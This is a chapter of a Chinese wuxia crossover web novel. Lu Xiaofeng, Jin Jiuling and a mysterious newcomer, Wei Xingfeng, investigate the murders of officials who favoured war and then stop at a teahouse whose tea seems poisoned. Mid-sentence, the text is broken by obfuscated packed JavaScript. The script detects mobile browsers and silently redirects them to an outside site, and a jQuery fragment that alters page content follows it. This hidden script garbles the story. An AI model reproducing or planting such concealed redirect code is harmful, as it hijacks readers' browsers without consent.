11. 暗藏杀机
作品:《[综武侠]原来是天下第一》 江南知府府邸内。
陆小凤负手站在厅心,眉头紧紧蹙起,一双眼沉沉望着金九龄,语气里带着几分凝重:“你的意思是,江南知府,与京中那三位先后毙命的官员,有一个共同的特点,便是都主张出战抗金?”
金九龄站在他对面,面色亦是肃然,抬手轻轻抚了抚袖角,声音压得略低:“不错。”
他顿了顿,目光扫过四周,似是确认无人偷听,才继续说道:“江南知府书房后那间密室,我们每个人已仔细查过,只有里面的灰烬未散,经过仔细辨别还能辨出几个字,虽然无法得知内容,但若所料不差,本该是他即将整理妥当、上奏朝廷,痛陈抗金利弊的折子以及要寄往京中的书信。”
“只可惜,他还没来得及送出,便已遭了毒手。”
金九龄语气微沉:“至于那些书信与未写完的奏稿,究竟是他自己事先察觉风声不对,为求自保而亲手焚毁;还是凶手杀了他之后,进入密室销毁证据并以此混淆视听。这一点,如今已然不重要了。”
陆小凤抱臂慢慢地走到那间密室前面,确实,如金九龄所说的那样,不管如何,都已经不重要了。
一桩桩命案串联起来,隐隐牵扯朝局、触及边关安危的大事。三位京官,一位地方知府,立场一致,皆在此时离奇殒命,背后那只黑手,用意已是昭然若揭。
陆小凤缓缓吸了口气,声音低而沉:“这么说来,凶手的目标,从一开始就不是某一个人,而是所有……力主抗金之人。”
金九龄抬眼,与他对视一眼,轻轻点头,一字一顿道:“恐怕正是如此。”
金九龄望着陆小凤沉声续道:“京中密报所言,便是如此。朝中主和一派暗中动作不断,但凡敢站出来力主抗金的官员,无论品级高低、身在京畿还是外放江南,都成了他们的眼中钉、肉中刺。”
陆小凤眉峰锁得更紧:“恕我陆小凤直言,倘若此事当真牵扯朝政纷争,那便绝非江湖恩怨那般简单,此事非同小可,追查的重心理应放在朝堂百官、宫中势力之上,而非纠缠于江湖之中。”
金九龄抬眼望向府外沉沉天色,轻声叹道:“按理来说,确实也该是如此。朝堂之争,本就该由朝中势力厘清决断,可你我都清楚,这桩命案背后绝非单纯的党争。”
他顿了顿,声音压得更低:“更重要的是,若此事仍旧毫无头绪,便直接捅到陛下跟前,以陛下如今对边关战事的焦躁心绪,定然会雷霆震怒。到那时,陛下不会细究究竟是哪些江湖人作乱,只会将怒火尽数倾泻在整个江湖武林之上,届时各门各派、无数无辜的江湖中人,都要平白承受朝廷的雷霆之怒。”
说到此处,金九龄才转回头,定定看向陆小凤:“因此,我们必须赶在事情闹大之前,暗中查明真相,揪出到底有哪些江湖势力被人收买、参与到这桩谋害官员的阴谋中来,既能稳住朝局,也能保住整个江湖不至于引火烧身。”
陆小凤终究是长长舒出一口气,幽幽叹道:“好吧,我支持你的观点。”
案情既已议定,二人便一前一后,缓步走出了正厅。
廊下风轻,花满楼正静立在栏杆旁,侧耳听着府内动静。
听见陆小凤与金九龄出来,花满楼微微朝后者颔首。
金九龄道:“好久不见,花七公子。”
他脚步微顿,目光先落在花满楼身上,略一点头示意,随即便缓缓转了过去,落在静立一旁、默不作声的卫行风面上。
在知晓密室是由此人发现后,金九龄便在暗中调查,因而今日见面,一眼便知眼前此人便是卫行风。
如此看来,卫行风相貌气度皆是一流,以金九龄的见识,天底下绝不会有比他更加出色的人物。
卫行风本是垂眸静立,几乎在金九龄视线落在他身上的同一瞬,便已敏锐察觉。他没有刻意迎上,只是缓缓抬眼,淡淡与金九龄对视了一眼,却让人看不出半分深浅。
只知道卫行风呼吸轻细如空山落雪,周身气机内敛如深海无波,单从此看来,便已算得上是江湖上一等一的高手。
只是此人来历、身份如何,金九龄却是一点也不得而知。
“这位便是卫少侠?”
金九龄上前一步,目光里那几分深藏的探究轻轻一收,面上已带出几分温和的笑意,语气听来极为自然。
卫行风淡淡点了下头,抬眸看向金九龄,只隐隐添着一丝询问之意,似在等对方下文。
金九龄目光在他面上稍作停留,笑意不变,语气表露出恰到好处的好奇:“不知卫少侠师从何处?江湖之中英雄辈出,卫少侠这般足智多谋,可在下此前,似乎并未听过少侠的名号。”
卫行风神色坦然,答得十分坦荡:“我的师门隐秘,不涉江湖,世间知者极少。此前我亦一直在师门修行,未曾下山入世。”
卫行风心中微有感慨,却未曾流露半分。
他自异世修真界跨界而来,早已察觉此间世人,似乎有些看重出身师承、名号来历,与人相交必先探问根由,仿佛唯有来历分明,才算得上可信可靠。
可他偏偏是个异客,在这个世界无门无派,无根无凭。
在修真界,他卫行风声名赫赫,莫说还需要自己主动报出名号,便是只言片语,也足以让各方势力闻之动容。
可如今,落足此方天地,他不过是个骤然出现、籍籍无名之人。
无人知晓他的过往,似乎往前的一切,都随跨界而来烟消云散。
也正因如此,卫行风便备好了一套说辞,每逢有人好奇地追问他师承出处,便这般从容应答。
这般一说,金九龄纵然心中仍有好奇与疑虑,却也不便再深追。江湖之外本就多有隐世奇人,对方既已言明师门隐秘,他若是再步步紧逼,反倒显得刻意,当下只微微颔首,将那点未得解答的疑虑暂时压在了心里。
陆小凤心中暗叹,他太了解金九龄了,此人心思缜密,好奇心与探查欲远胜常人。以金九龄的性子,必定会暗中动用关系,悄悄去查卫行风的底细。
只是究竟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233717|197637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是立刻去查,还是暂且搁置,相信金九龄自有定夺。因为此刻他们身陷连环命案之中,所有人都已是焦头烂额。
一路往回走,日头已升至中天,风中带着一股灼人的热气。石板路被晒得发烫,蒸腾而上的暑气裹着热浪,闷得人胸口发沉。
陆小凤揉了揉发胀的太阳穴,忍不住长长叹了口气,语气里满是无奈:“怪道金九龄从前从不肯轻易来寻我,原是这天儿实在太热,出门一趟,半条命都要晒没了。”
花满楼走在他身侧,热气扑面,他依旧温雅从容,听着陆小凤这般抱怨,唇边不觉漾开一抹浅淡的笑意,声清如泉:“今年暑气太旺,确是磨人。反正街边有的是茶寮酒肆,寻一处阴凉地儿坐下,喝碗凉茶,缓一缓再走也不迟。”
说着,他便微微偏过头,转向侧后方始终一语不发的卫行风,语调轻柔地询问:“行风,你觉着如何?可要先找个地方歇歇脚?”
卫行风自出了知府府邸,便一直安静随行,似乎这般烈日酷暑于他而言,不过寻常,连一丝燥热都未曾入体。
他轻轻应了一声,对花满楼微笑道:“那便一起去歇歇脚吧。”
陆小凤目光微动,看向路边门面极大的一间茶寮,眯了眯眼,笑道:“不如就在这里歇脚吧。”
花满楼和卫行风便一前一后跟着陆小凤走了过去。那茶寮老板一见有客来,立刻从柜台后迎了出来,肩上搭着一块半湿的汗巾,脸上露出热络又殷勤的笑,连连拱手:“三位贵客,快请进快请进!这天热得能烤化人,进来喝口凉的,解解暑气。”
花满楼闻言浅浅一笑,温和道:“有劳掌柜。除却寻常茶水,不知店里可有什么清爽解暑的物事?”
那老板笑道:“公子可算问着了,小店别的不敢夸口,冰镇绿豆汤、酸梅汤都是刚镇好的,一口下去暑气全消了。点心也有,绿豆糕、薄荷糕,都是解暑的好东西。三位不必在一楼挤,二楼有雅座,清静凉快,快请移步上座。”
卫行风跟在花满楼身侧,脚下未急,只默声朝一楼看去。
大堂里摆着四五张方桌,大半都空着,只角落坐了几个穿了短打的汉子,低着头喝茶,看似确实是寻常茶客。
卫行风并未作声,只随着花满楼、陆小凤拾级而上,在二楼临窗的位置落座。
不多时,掌柜亲自端着一壶新沏的茶上来,放在桌上,又哈腰笑道:
“三位先润润喉,我这就去端冰镇绿豆汤和点心,管保合口。”
说罢,他躬了躬身,便轻手轻脚退了下去,只留三人在二楼雅间。
卫行风抬眼看向自己面前摆好的茶水,虽然察觉定然有些不妥,但还是伸手拿起来。
花满楼立刻便伸了手,轻声道:“行风!”
他语速有些急,但语气仍然是很温和,动作也快极了径直搭在了卫行风小臂上,似是以为卫行风真的要喝下去。
卫行风嘴角勾了起来,眼里染上几分笑意,低声回道:“我知道茶有问题,只是想拿起来看看。”

